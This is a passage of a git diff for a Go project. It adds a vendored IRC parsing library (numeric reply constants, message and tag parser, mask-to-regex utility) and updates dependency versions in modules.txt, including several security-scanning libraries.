Unreal + RPL_LOGON = "600" // Bahamut, Unreal + RPL_LOGOFF = "601" // Bahamut, Unreal + RPL_WATCHOFF = "602" // Bahamut, Unreal + RPL_WATCHSTAT = "603" // Bahamut, Unreal + RPL_NOWON = "604" // Bahamut, Unreal + RPL_NOWOFF = "605" // Bahamut, Unreal + RPL_WATCHLIST = "606" // Bahamut, Unreal + RPL_ENDOFWATCHLIST = "607" // Bahamut, Unreal + RPL_WATCHCLEAR = "608" // Ultimate + RPL_NOWISAWAY = "609" // Unreal + RPL_MAPMORE = "610" // Unreal + RPL_ISOPER = "610" // Ultimate + RPL_ISLOCOP = "611" // Ultimate + RPL_ISNOTOPER = "612" // Ultimate + RPL_ENDOFISOPER = "613" // Ultimate + RPL_MAPMORE = "615" // PTlink + RPL_WHOISMODES = "615" // Ultimate + RPL_WHOISHOST = "616" // Ultimate + RPL_WHOISSSLFP = "617" // Nefarious + RPL_DCCSTATUS = "617" // Bahamut + RPL_WHOISBOT = "617" // Ultimate + RPL_DCCLIST = "618" // Bahamut + RPL_ENDOFDCCLIST = "619" // Bahamut + RPL_WHOWASHOST = "619" // Ultimate + RPL_DCCINFO = "620" // Bahamut + RPL_RULESSTART = "620" // Ultimate + RPL_RULES = "621" // Ultimate + RPL_ENDOFRULES = "622" // Ultimate + RPL_MAPMORE = "623" // Ultimate + RPL_OMOTDSTART = "624" // Ultimate + RPL_OMOTD = "625" // Ultimate + RPL_ENDOFOMOTD = "626" // Ultimate + RPL_SETTINGS = "630" // Ultimate + RPL_ENDOFSETTINGS = "631" // Ultimate + RPL_SYNTAX = "650" // InspIRCd 3.0 + RPL_CHANNELSMSG = "651" // InspIRCd 3.0 + RPL_WHOWASIP = "652" // InspIRCd 3.0 + RPL_UNINVITED = "653" // InspIRCd 3.0 + RPL_SPAMCMDFWD = "659" // Unreal + RPL_WHOISSECURE = "671" // Unreal + RPL_UNKNOWNMODES = "672" // Ithildin + RPL_WHOISREALIP = "672" // Rizon + RPL_CANNOTSETMODES = "673" // Ithildin + RPL_WHOISYOURID = "674" // ChatIRCd + RPL_LANGUAGES = "690" // Unreal? + ERR_INVALIDMODEPARAM = "696" // InspIRCd 3.0 + ERR_LISTMODEALREADYSET = "697" // InspIRCd 3.0 + ERR_LISTMODENOTSET = "698" // InspIRCd 3.0 + RPL_COMMANDS = "700" // InspIRCd 3.0 + RPL_COMMANDSEND = "701" // InspIRCd 3.0 + RPL_MODLIST = "702" // RatBox + RPL_ENDOFMODLIST = "703" // RatBox + RPL_HELPSTART = "704" // RatBox + RPL_HELPTXT = "705" // RatBox + RPL_ENDOFHELP = "706" // RatBox + ERR_TARGCHANGE = "707" // RatBox + RPL_ETRACEFULL = "708" // RatBox + RPL_ETRACE = "709" // RatBox + RPL_KNOCK = "710" // RatBox + RPL_KNOCKDLVR = "711" // RatBox + ERR_TOOMANYKNOCK = "712" // RatBox + ERR_CHANOPEN = "713" // RatBox + ERR_KNOCKONCHAN = "714" // RatBox + ERR_KNOCKDISABLED = "715" // RatBox + ERR_TOOMANYINVITE = "715" // Hybrid + RPL_INVITETHROTTLE = "715" // Rizon + RPL_TARGUMODEG = "716" // RatBox + RPL_TARGNOTIFY = "717" // RatBox + RPL_UMODEGMSG = "718" // RatBox + RPL_OMOTDSTART = "720" // RatBox + RPL_OMOTD = "721" // RatBox + RPL_ENDOFOMOTD = "722" // RatBox + ERR_NOPRIVS = "723" // RatBox + RPL_TESTMASK = "724" // RatBox + RPL_TESTLINE = "725" // RatBox + RPL_NOTESTLINE = "726" // RatBox + RPL_TESTMASKGECOS = "727" // RatBox + RPL_QUIETLIST = "728" // Charybdis + RPL_ENDOFQUIETLIST = "729" // Charybdis + RPL_RSACHALLENGE2 = "740" // RatBox + RPL_ENDOFRSACHALLENGE2 = "741" // RatBox + ERR_MLOCKRESTRICTED = "742" // Charybdis + ERR_INVALIDBAN = "743" // Charybdis + ERR_TOPICLOCK = "744" // InspIRCd? + RPL_SCANMATCHED = "750" // RatBox + RPL_SCANUMODES = "751" // RatBox + RPL_ETRACEEND = "759" // irc2.11 + RPL_XINFO = "771" // Ithildin + RPL_XINFOSTART = "773" // Ithildin + RPL_XINFOEND = "774" // Ithildin + RPL_CHECK = "802" // InspIRCd 3.0 + RPL_OTHERUMODEIS = "803" // InspIRCd 3.0 + RPL_OTHERSNOMASKIS = "804" // InspIRCd 3.0 + ERR_BADCHANNEL = "926" // InspIRCd + ERR_INVALIDWATCHNICK = "942" // InspIRCd + RPL_IDLETIMESET = "944" // InspIRCd + RPL_NICKLOCKOFF = "945" // InspIRCd + ERR_NICKNOTLOCKED = "946" // InspIRCd + RPL_NICKLOCKON = "947" // InspIRCd + ERR_INVALIDIDLETIME = "948" // InspIRCd + RPL_UNSILENCED = "950" // InspIRCd + RPL_SILENCED = "951" // InspIRCd + ERR_NOTSILENCED = "952" // InspIRCd + RPL_ENDOFPROPLIST = "960" // InspIRCd + RPL_PROPLIST = "961" // InspIRCd + ERR_CANNOTDOCOMMAND = "972" // Unreal + ERR_CANTUNLOADMODULE = "972" // InspIRCd + RPL_UNLOADEDMODULE = "973" // InspIRCd + ERR_CANNOTCHANGECHANMODE = "974" // Unreal + ERR_CANTLOADMODULE = "974" // InspIRCd + RPL_LOADEDMODULE = "975" // InspIRCd + ERR_LASTERROR = "975" // Nefarious + RPL_SERVLOCKON = "988" // InspIRCd + RPL_SERVLOCKOFF = "989" // InspIRCd + RPL_DCCALLOWSTART = "990" // InspIRCd + RPL_DCCALLOWLIST = "991" // InspIRCd + RPL_DCCALLOWEND = "992" // InspIRCd + RPL_DCCALLOWTIMED = "993" // InspIRCd + RPL_DCCALLOWPERMANENT = "994" // InspIRCd + RPL_DCCALLOWREMOVED = "995" // InspIRCd + ERR_DCCALLOWINVALID = "996" // InspIRCd + RPL_DCCALLOWEXPIRED = "997" // InspIRCd + ERR_UNKNOWNDCCALLOWCMD = "998" // InspIRCd + ERR_NUMERIC_ERR = "999" // Bahamut + //*/ + + // Obsolete + /* + RPL_STATMEM = "010" // ircu + RPL_STATSZLINE = "225" // Bahamut + RPL_MAPUSERS = "270" // InspIRCd 2.0 + RPL_VCHANEXIST = "276" // Hybrid + RPL_VCHANLIST = "277" // Hybrid + RPL_VCHANHELP = "278" // Hybrid 7.0? + RPL_CHANNELMLOCKIS = "325" // sorircd + RPL_WHOWASREAL = "360" // Charybdis + RPL_SPAM = "377" // AustHex + RPL_MOTD = "378" // AustHex + RPL_WHOWASIP = "379" // InspIRCd 2.0 + RPL_RSACHALLENGE = "386" // Hybrid + ERR_SSLONLYCHAN = "480" // Hybrid + ERR_BANNEDNICK = "485" // Ratbox + ERR_DELAYREJOIN = "495" // InspIRCd 2.0 + ERR_GHOSTEDCLIENT = "503" // Hybrid + ERR_VWORLDWARN = "503" // AustHex + ERR_INVALID_ERROR = "514" // ircu + ERR_WHOTRUNC = "520" // AustHex + ERR_REMOTEPFX = "525" // CAPAB USERCMDPFX + ERR_PFXUNROUTABLE = "526" // CAPAB USERCMDPFX + RPL_DUMPING = "640" // Unreal + RPL_DUMPRPL = "641" // Unreal + RPL_EODUMP = "642" // Unreal + RPL_COMMANDS = "702" // InspIRCd 2.0 + RPL_COMMANDSEND = "703" // InspIRCd 2.0 + ERR_WORDFILTERED = "936" // InspIRCd + ERR_ALREADYCHANFILTERED = "937" // InspIRCd 2.0 + ERR_NOSUCHCHANFILTER = "938" // InspIRCd 2.0 + ERR_CHANFILTERFULL = "939" // InspIRCd 2.0 + RPL_DCCALLOWHELP = "998" // InspIRCd + RPL_ENDOFDCCALLOWHELP = "999" // InspIRCd 2.0 + //*/ +) diff --git a/vendor/gopkg.in/irc.v3/parser.go b/vendor/gopkg.in/irc.v3/parser.go new file mode 100644 index 000000000..6889a004e --- /dev/null +++ b/vendor/gopkg.in/irc.v3/parser.go @@ -0,0 +1,403 @@ +package irc + +import ( + "bytes" + "errors" + "strings" +) + +var tagDecodeSlashMap = map[rune]rune{ + ':': ';', + 's': ' ', + '\\': '\\', + 'r': '\r', + 'n': '\n', +} + +var tagEncodeMap = map[rune]string{ + ';': "\\:", + ' ': "\\s", + '\\': "\\\\", + '\r': "\\r", + '\n': "\\n", +} + +var ( + // ErrZeroLengthMessage is returned when parsing if the input is + // zero-length. + ErrZeroLengthMessage = errors.New("irc: Cannot parse zero-length message") + + // ErrMissingDataAfterPrefix is returned when parsing if there is + // no message data after the prefix. + ErrMissingDataAfterPrefix = errors.New("irc: No message data after prefix") + + // ErrMissingDataAfterTags is returned when parsing if there is no + // message data after the tags. + ErrMissingDataAfterTags = errors.New("irc: No message data after tags") + + // ErrMissingCommand is returned when parsing if there is no + // command in the parsed message. + ErrMissingCommand = errors.New("irc: Missing message command") +) + +// TagValue represents the value of a tag. +type TagValue string + +// ParseTagValue parses a TagValue from the connection. If you need to +// set a TagValue, you probably want to just set the string itself, so +// it will be encoded properly. +func ParseTagValue(v string) TagValue { + ret := &bytes.Buffer{} + + input := bytes.NewBufferString(v) + + for { + c, _, err := input.ReadRune() + if err != nil { + break + } + + if c == '\\' { + c2, _, err := input.ReadRune() + + // If we got a backslash then the end of the tag value, we should + // just ignore the backslash. + if err != nil { + break + } + + if replacement, ok := tagDecodeSlashMap[c2]; ok { + ret.WriteRune(replacement) + } else { + ret.WriteRune(c2) + } + } else { + ret.WriteRune(c) + } + } + + return TagValue(ret.String()) +} + +// Encode converts a TagValue to the format in the connection. +func (v TagValue) Encode() string { + ret := &bytes.Buffer{} + + for _, c := range v { + if replacement, ok := tagEncodeMap[c]; ok { + ret.WriteString(replacement) + } else { + ret.WriteRune(c) + } + } + + return ret.String() +} + +// Tags represents the IRCv3 message tags. +type Tags map[string]TagValue + +// ParseTags takes a tag string and parses it into a tag map. It will +// always return a tag map, even if there are no valid tags. +func ParseTags(line string) Tags { + ret := Tags{} + + tags := strings.Split(line, ";") + for _, tag := range tags { + parts := strings.SplitN(tag, "=", 2) + if len(parts) < 2 { + ret[parts[0]] = "" + continue + } + + ret[parts[0]] = ParseTagValue(parts[1]) + } + + return ret +} + +// GetTag is a convenience method to look up a tag in the map. +func (t Tags) GetTag(key string) (string, bool) { + ret, ok := t[key] + return string(ret), ok +} + +// Copy will create a new copy of all IRC tags attached to this +// message. +func (t Tags) Copy() Tags { + ret := Tags{} + + for k, v := range t { + ret[k] = v + } + + return ret +} + +// String ensures this is stringable +func (t Tags) String() string { + buf := &bytes.Buffer{} + + for k, v := range t { + buf.WriteByte(';') + buf.WriteString(k) + if v != "" { + buf.WriteByte('=') + buf.WriteString(v.Encode()) + } + } + + // We don't need the first byte because that's an extra ';' + // character. + buf.ReadByte() + + return buf.String() +} + +// Prefix represents the prefix of a message, generally the user who sent it +type Prefix struct { + // Name will contain the nick of who sent the message, the + // server who sent the message, or a blank string + Name string + + // User will either contain the user who sent the message or a blank string + User string + + // Host will either contain the host of who sent the message or a blank string + Host string +} + +// ParsePrefix takes an identity string and parses it into an +// identity struct. It will always return an Prefix struct and never +// nil. +func ParsePrefix(line string) *Prefix { + // Start by creating an Prefix with nothing but the host + id := &Prefix{ + Name: line, + } + + uh := strings.SplitN(id.Name, "@", 2) + if len(uh) == 2 { + id.Name, id.Host = uh[0], uh[1] + } + + nu := strings.SplitN(id.Name, "!", 2) + if len(nu) == 2 { + id.Name, id.User = nu[0], nu[1] + } + + return id +} + +// Copy will create a new copy of an Prefix +func (p *Prefix) Copy() *Prefix { + if p == nil { + return nil + } + + newPrefix := &Prefix{} + + *newPrefix = *p + + return newPrefix +} + +// String ensures this is stringable +func (p *Prefix) String() string { + buf := &bytes.Buffer{} + buf.WriteString(p.Name) + + if p.User != "" { + buf.WriteString("!") + buf.WriteString(p.User) + } + + if p.Host != "" { + buf.WriteString("@") + buf.WriteString(p.Host) + } + + return buf.String() +} + +// Message represents a line parsed from the server +type Message struct { + // Each message can have IRCv3 tags + Tags + + // Each message can have a Prefix + *Prefix + + // Command is which command is being called. + Command string + + // Params are all the arguments for the command. + Params []string +} + +// MustParseMessage calls ParseMessage and either returns the message +// or panics if an error is returned. +func MustParseMessage(line string) *Message { + m, err := ParseMessage(line) + if err != nil { + panic(err.Error()) + } + return m +} + +// ParseMessage takes a message string (usually a whole line) and +// parses it into a Message struct. This will return nil in the case +// of invalid messages. +func ParseMessage(line string) (*Message, error) { + // Trim the line and make sure we have data + line = strings.TrimRight(line, "\r\n") + if len(line) == 0 { + return nil, ErrZeroLengthMessage + } + + c := &Message{ + Tags: Tags{}, + Prefix: &Prefix{}, + } + + if line[0] == '@' { + loc := strings.Index(line, " ") + if loc == -1 { + return nil, ErrMissingDataAfterTags + } + + c.Tags = ParseTags(line[1:loc]) + line = line[loc+1:] + } + + if line[0] == ':' { + loc := strings.Index(line, " ") + if loc == -1 { + return nil, ErrMissingDataAfterPrefix + } + + // Parse the identity, if there was one + c.Prefix = ParsePrefix(line[1:loc]) + line = line[loc+1:] + } + + // Split out the trailing then the rest of the args. Because + // we expect there to be at least one result as an arg (the + // command) we don't need to special case the trailing arg and + // can just attempt a split on " :" + split := strings.SplitN(line, " :", 2) + c.Params = strings.FieldsFunc(split[0], func(r rune) bool { + return r == ' ' + }) + + // If there are no args, we need to bail because we need at + // least the command. + if len(c.Params) == 0 { + return nil, ErrMissingCommand + } + + // If we had a trailing arg, append it to the other args + if len(split) == 2 { + c.Params = append(c.Params, split[1]) + } + + // Because of how it's parsed, the Command will show up as the + // first arg. + c.Command = strings.ToUpper(c.Params[0]) + c.Params = c.Params[1:] + + // If there are no params, set it to nil, to make writing tests and other + // things simpler. + if len(c.Params) == 0 { + c.Params = nil + } + + return c, nil +} + +// Param returns the i'th argument in the Message or an empty string +// if the requested arg does not exist +func (m *Message) Param(i int) string { + if i < 0 || i >= len(m.Params) { + return "" + } + return m.Params[i] +} + +// Trailing returns the last argument in the Message or an empty string +// if there are no args +func (m *Message) Trailing() string { + if len(m.Params) < 1 { + return "" + } + + return m.Params[len(m.Params)-1] +} + +// Copy will create a new copy of an message +func (m *Message) Copy() *Message { + // Create a new message + newMessage := &Message{} + + // Copy stuff from the old message + *newMessage = *m + + // Copy any IRcv3 tags + newMessage.Tags = m.Tags.Copy() + + // Copy the Prefix + newMessage.Prefix = m.Prefix.Copy() + + // Copy the Params slice + newMessage.Params = append(make([]string, 0, len(m.Params)), m.Params...) + + // Similar to parsing, if Params is empty, set it to nil + if len(newMessage.Params) == 0 { + newMessage.Params = nil + } + + return newMessage +} + +// String ensures this is stringable +func (m *Message) String() string { + buf := &bytes.Buffer{} + + // Write any IRCv3 tags if they exist in the message + if len(m.Tags) > 0 { + buf.WriteByte('@') + buf.WriteString(m.Tags.String()) + buf.WriteByte(' ') + } + + // Add the prefix if we have one + if m.Prefix != nil && m.Prefix.Name != "" { + buf.WriteByte(':') + buf.WriteString(m.Prefix.String()) + buf.WriteByte(' ') + } + + // Add the command since we know we'll always have one + buf.WriteString(m.Command) + + if len(m.Params) > 0 { + args := m.Params[:len(m.Params)-1] + trailing := m.Params[len(m.Params)-1] + + if len(args) > 0 { + buf.WriteByte(' ') + buf.WriteString(strings.Join(args, " ")) + } + + // If trailing is zero-length, contains a space or starts with + // a : we need to actually specify that it's trailing. + if len(trailing) == 0 || strings.ContainsRune(trailing, ' ') || trailing[0] == ':' { + buf.WriteString(" :") + } else { + buf.WriteString(" ") + } + buf.WriteString(trailing) + } + + return buf.String() +} diff --git a/vendor/gopkg.in/irc.v3/utils.go b/vendor/gopkg.in/irc.v3/utils.go new file mode 100644 index 000000000..463331451 --- /dev/null +++ b/vendor/gopkg.in/irc.v3/utils.go @@ -0,0 +1,50 @@ +package irc + +import ( + "bytes" + "regexp" +) + +var maskTranslations = map[byte]string{ + '?': ".", + '*': ".*", +} + +// MaskToRegex converts an irc mask to a go Regexp for more convenient +// use. This should never return an error, but we have this here just +// in case. +func MaskToRegex(rawMask string) (*regexp.Regexp, error) { + input := bytes.NewBufferString(rawMask) + + output := &bytes.Buffer{} + output.WriteByte('^') + + for { + c, err := input.ReadByte() + if err != nil { + break + } + + if c == '\\' { + c, err = input.ReadByte() + if err != nil { + output.WriteString(regexp.QuoteMeta("\\")) + break + } + + if c == '?' || c == '*' || c == '\\' { + output.WriteString(regexp.QuoteMeta(string(c))) + } else { + output.WriteString(regexp.QuoteMeta("\\" + string(c))) + } + } else if trans, ok := maskTranslations[c]; ok { + output.WriteString(trans) + } else { + output.WriteString(regexp.QuoteMeta(string(c))) + } + } + + output.WriteByte('$') + + return regexp.Compile(output.String()) +} diff --git a/vendor/modules.txt b/vendor/modules.txt index a36723fc2..ed7144777 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -92,7 +92,7 @@ github.com/apex/log # github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d ## explicit; go 1.13 github.com/asaskevich/govalidator -# github.com/aws/aws-sdk-go v1.44.60 +# github.com/aws/aws-sdk-go v1.44.77 ## explicit; go 1.11 github.com/aws/aws-sdk-go/aws github.com/aws/aws-sdk-go/aws/awserr @@ -144,7 +144,7 @@ github.com/boy-hack/ksubdomain/runner/statusdb # github.com/c4milo/unpackit v0.1.0 ## explicit; go 1.16 github.com/c4milo/unpackit -# github.com/caddyserver/certmagic v0.16.1 +# github.com/caddyserver/certmagic v0.16.2 ## explicit; go 1.17 github.com/caddyserver/certmagic # github.com/cespare/xxhash/v2 v2.1.2 @@ -281,7 +281,7 @@ github.com/go-playground/universal-translator # github.com/go-playground/validator/v10 v10.11.0 ## explicit; go 1.13 github.com/go-playground/validator/v10 -# github.com/go-rod/rod v0.108.1 +# github.com/go-rod/rod v0.109.0 ## explicit; go 1.16 github.com/go-rod/rod github.com/go-rod/rod/lib/assets @@ -534,7 +534,7 @@ github.com/json-iterator/go # github.com/karlseguin/ccache v2.0.3+incompatible ## explicit github.com/karlseguin/ccache -# github.com/klauspost/compress v1.15.8 +# github.com/klauspost/compress v1.15.9 ## explicit; go 1.16 github.com/klauspost/compress github.com/klauspost/compress/flate @@ -545,7 +545,7 @@ github.com/klauspost/compress/internal/snapref github.com/klauspost/compress/zlib github.com/klauspost/compress/zstd github.com/klauspost/compress/zstd/internal/xxhash -# github.com/klauspost/cpuid/v2 v2.0.11 +# github.com/klauspost/cpuid/v2 v2.1.0 ## explicit; go 1.15 github.com/klauspost/cpuid/v2 # github.com/klauspost/pgzip v1.2.5 @@ -560,7 +560,7 @@ github.com/lcvvvv/gonmap/lib/chinese # github.com/leodido/go-urn v1.2.1 ## explicit; go 1.13 github.com/leodido/go-urn -# github.com/lib/pq v1.10.0 +# github.com/lib/pq v1.10.6 ## explicit; go 1.13 github.com/lib/pq github.com/lib/pq/oid @@ -611,7 +611,7 @@ github.com/mattn/go-sqlite3 # github.com/mfonda/simhash v0.0.0-20151007195837-79f94a1100d6 ## explicit github.com/mfonda/simhash -# github.com/mholt/acmez v1.0.2 +# github.com/mholt/acmez v1.0.4 ## explicit; go 1.14 github.com/mholt/acmez github.com/mholt/acmez/acme @@ -685,13 +685,13 @@ github.com/pmezard/go-difflib/difflib # github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c ## explicit; go 1.14 github.com/power-devops/perfstat -# github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e -## explicit +# github.com/projectdiscovery/blackrock v0.0.0-20220628111055-35616c71b2dc +## explicit; go 1.17 github.com/projectdiscovery/blackrock # github.com/projectdiscovery/cdncheck v0.0.4-0.20220322144854-b2d8ce308abb ## explicit; go 1.14 github.com/projectdiscovery/cdncheck -# github.com/projectdiscovery/chaos-client v0.1.8 +# github.com/projectdiscovery/chaos-client v0.2.0 ## explicit; go 1.14 github.com/projectdiscovery/chaos-client/pkg/chaos # github.com/projectdiscovery/clistats v0.0.8 @@ -700,7 +700,7 @@ github.com/projectdiscovery/clistats # github.com/projectdiscovery/cryptoutil v1.0.0 ## explicit; go 1.16 github.com/projectdiscovery/cryptoutil -# github.com/projectdiscovery/dnsx v1.0.7-0.20210927160546-05f957862698 +# github.com/projectdiscovery/dnsx v1.0.9 ## explicit; go 1.16 github.com/projectdiscovery/dnsx/libs/dnsx # github.com/projectdiscovery/fastdialer v0.0.16-0.20220609092737-7e3c7dcecf16 @@ -736,7 +736,7 @@ github.com/projectdiscovery/gologger/writer github.com/projectdiscovery/hmap/store/cache github.com/projectdiscovery/hmap/store/disk github.com/projectdiscovery/hmap/store/hybrid -# github.com/projectdiscovery/httputil v0.0.0-20210816170244-86fd46bc09f5 +# github.com/projectdiscovery/httputil v0.0.0-20210906072657-f3a099cb20bc ## explicit; go 1.14 github.com/projectdiscovery/httputil # github.com/projectdiscovery/interactsh v1.0.6 @@ -763,11 +763,12 @@ github.com/projectdiscovery/networkpolicy # github.com/projectdiscovery/nuclei-updatecheck-api v0.0.0-20220726130814-981d44a34f84 ## explicit; go 1.16 github.com/projectdiscovery/nuclei-updatecheck-api/client -# github.com/projectdiscovery/nuclei/v2 v2.7.5 +# github.com/projectdiscovery/nuclei/v2 v2.7.6 ## explicit; go 1.17 github.com/projectdiscovery/nuclei/v2/internal/colorizer github.com/projectdiscovery/nuclei/v2/pkg/catalog github.com/projectdiscovery/nuclei/v2/pkg/catalog/config +github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter github.com/projectdiscovery/nuclei/v2/pkg/core @@ -839,7 +840,7 @@ github.com/projectdiscovery/nuclei/v2/pkg/utils github.com/projectdiscovery/nuclei/v2/pkg/utils/stats github.com/projectdiscovery/nuclei/v2/pkg/utils/yaml github.com/projectdiscovery/nuclei/v2/pkg/workflows -# github.com/projectdiscovery/rawhttp v0.0.8-0.20220526170355-03de6bb78f37 +# github.com/projectdiscovery/rawhttp v0.1.1 ## explicit; go 1.14 github.com/projectdiscovery/rawhttp github.com/projectdiscovery/rawhttp/client @@ -856,7 +857,7 @@ github.com/projectdiscovery/retryabledns/hostsfile # github.com/projectdiscovery/retryablehttp-go v1.0.3-0.20220506110515-811d938bd26d ## explicit; go 1.14 github.com/projectdiscovery/retryablehttp-go -# github.com/projectdiscovery/sliceutil v0.0.0-20220511171050-c7d9bc5cadd9 +# github.com/projectdiscovery/sliceutil v0.0.0-20220625085859-c3a4ecb669f4 ## explicit; go 1.16 github.com/projectdiscovery/sliceutil # github.com/projectdiscovery/stringsutil v0.0.0-20220712170325-48c50c332cb4 @@ -914,7 +915,7 @@ github.com/projectdiscovery/uncover/uncover/agent/shodanidb # github.com/projectdiscovery/urlutil v0.0.0-20210805190935-3d83726391c1 ## explicit; go 1.16 github.com/projectdiscovery/urlutil -# github.com/projectdiscovery/wappalyzergo v0.0.52 +# github.com/projectdiscovery/wappalyzergo v0.0.55 ## explicit; go 1.16 github.com/projectdiscovery/wappalyzergo # github.com/projectdiscovery/yamldoc-go v1.0.3-0.20211126104922-00d2c6bb43b6 @@ -926,6 +927,8 @@ github.com/remeh/sizedwaitgroup # github.com/rivo/uniseg v0.2.0 ## explicit; go 1.12 github.com/rivo/uniseg +# github.com/rogpeppe/go-internal v1.8.1 +## explicit; go 1.16 # github.com/rs/xid v1.4.0 ## explicit; go 1.12 github.com/rs/xid @@ -1064,10 +1067,10 @@ github.com/valyala/bytebufferpool # github.com/valyala/fasttemplate v1.2.1 ## explicit; go 1.12 github.com/valyala/fasttemplate -# github.com/weppos/publicsuffix-go v0.15.1-0.20210928183822-5ee35905bd95 +# github.com/weppos/publicsuffix-go v0.20.0 ## explicit; go 1.11 github.com/weppos/publicsuffix-go/publicsuffix -# github.com/xanzy/go-gitlab v0.69.0 +# github.com/xanzy/go-gitlab v0.72.0 ## explicit; go 1.18 github.com/xanzy/go-gitlab # github.com/xdg-go/pbkdf2 v1.0.0 @@ -1106,10 +1109,10 @@ github.com/ysmood/leakless/pkg/utils # github.com/yusufpapurcu/wmi v1.2.2 ## explicit; go 1.16 github.com/yusufpapurcu/wmi -# github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521 +# github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 ## explicit github.com/zmap/rc2 -# github.com/zmap/zcrypto v0.0.0-20211005224000-2d0ffdec8a9b +# github.com/zmap/zcrypto v0.0.0-20220803033029-557f3e4940be ## explicit; go 1.16 github.com/zmap/zcrypto/dsa github.com/zmap/zcrypto/encoding/asn1 @@ -1159,8 +1162,8 @@ go.mongodb.org/mongo-driver/x/mongo/driver/session go.mongodb.org/mongo-driver/x/mongo/driver/topology go.mongodb.org/mongo-driver/x/mongo/driver/uuid go.mongodb.org/mongo-driver/x/mongo/driver/wiremessage -# go.uber.org/atomic v1.9.0 -## explicit; go 1.13 +# go.uber.org/atomic v1.10.0 +## explicit; go 1.18 go.uber.org/atomic # go.uber.org/multierr v1.8.0 ## explicit; go 1.14 @@ -1168,8 +1171,8 @@ go.uber.org/multierr # go.uber.org/ratelimit v0.2.0 ## explicit; go 1.14 go.uber.org/ratelimit -# go.uber.org/zap v1.21.0 -## explicit; go 1.13 +# go.uber.org/zap v1.22.0 +## explicit; go 1.18 go.uber.org/zap go.uber.org/zap/buffer go.uber.org/zap/internal/bufferpool @@ -1181,7 +1184,7 @@ go.uber.org/zap/zapcore goftp.io/server/v2 goftp.io/server/v2/driver/file goftp.io/server/v2/ratelimit -# golang.org/x/crypto v0.0.0-20220411220226-7b82a4e95df4 +# golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa ## explicit; go 1.17 golang.org/x/crypto/blowfish golang.org/x/crypto/chacha20 @@ -1200,10 +1203,10 @@ golang.org/x/crypto/sha3 golang.org/x/crypto/ssh golang.org/x/crypto/ssh/internal/bcrypt_pbkdf golang.org/x/crypto/ssh/terminal -# golang.org/x/mod v0.4.2 -## explicit; go 1.12 +# golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 +## explicit; go 1.17 golang.org/x/mod/semver -# golang.org/x/net v0.0.0-20220728211354-c7608f3a8462 +# golang.org/x/net v0.0.0-20220812174116-3211cb980234 ## explicit; go 1.17 golang.org/x/net/bpf golang.org/x/net/context @@ -1225,14 +1228,14 @@ golang.org/x/net/ipv6 golang.org/x/net/proxy golang.org/x/net/publicsuffix golang.org/x/net/trace -# golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5 -## explicit; go 1.11 +# golang.org/x/oauth2 v0.0.0-20220722155238-128564f6959c +## explicit; go 1.17 golang.org/x/oauth2 golang.org/x/oauth2/internal -# golang.org/x/sync v0.0.0-20210220032951-036812b2e83c +# golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4 ## explicit golang.org/x/sync/errgroup -# golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10 +# golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab ## explicit; go 1.17 golang.org/x/sys/cpu golang.org/x/sys/execabs @@ -1267,14 +1270,15 @@ golang.org/x/text/transform golang.org/x/text/unicode/bidi golang.org/x/text/unicode/norm golang.org/x/text/width -# golang.org/x/time v0.0.0-20220411224347-583f2d630306 +# golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 ## explicit golang.org/x/time/rate -# golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 -## explicit; go 1.17 +# golang.org/x/tools v0.1.12 +## explicit; go 1.18 golang.org/x/tools/go/gcexportdata golang.org/x/tools/go/internal/gcimporter golang.org/x/tools/go/internal/packagesdriver +golang.org/x/tools/go/internal/pkgbits golang.org/x/tools/go/packages golang.org/x/tools/internal/event golang.org/x/tools/internal/event/core @@ -1282,11 +1286,8 @@ golang.org/x/tools/internal/event/keys golang.org/x/tools/internal/event/label golang.org/x/tools/internal/gocommand golang.org/x/tools/internal/packagesinternal +golang.org/x/tools/internal/typeparams golang.org/x/tools/internal/typesinternal -# golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df -## explicit; go 1.17 -golang.org/x/xerrors -golang.org/x/xerrors/internal # google.golang.org/appengine v1.6.7 ## explicit; go 1.11 google.golang.org/appengine/internal @@ -1300,7 +1301,7 @@ google.golang.org/appengine/urlfetch ## explicit; go 1.15 google.golang.org/genproto/googleapis/api/expr/v1alpha1 google.golang.org/genproto/googleapis/rpc/status -# google.golang.org/protobuf v1.28.0 +# google.golang.org/protobuf v1.28.1 ## explicit; go 1.11 google.golang.org/protobuf/encoding/protojson google.golang.org/protobuf/encoding/prototext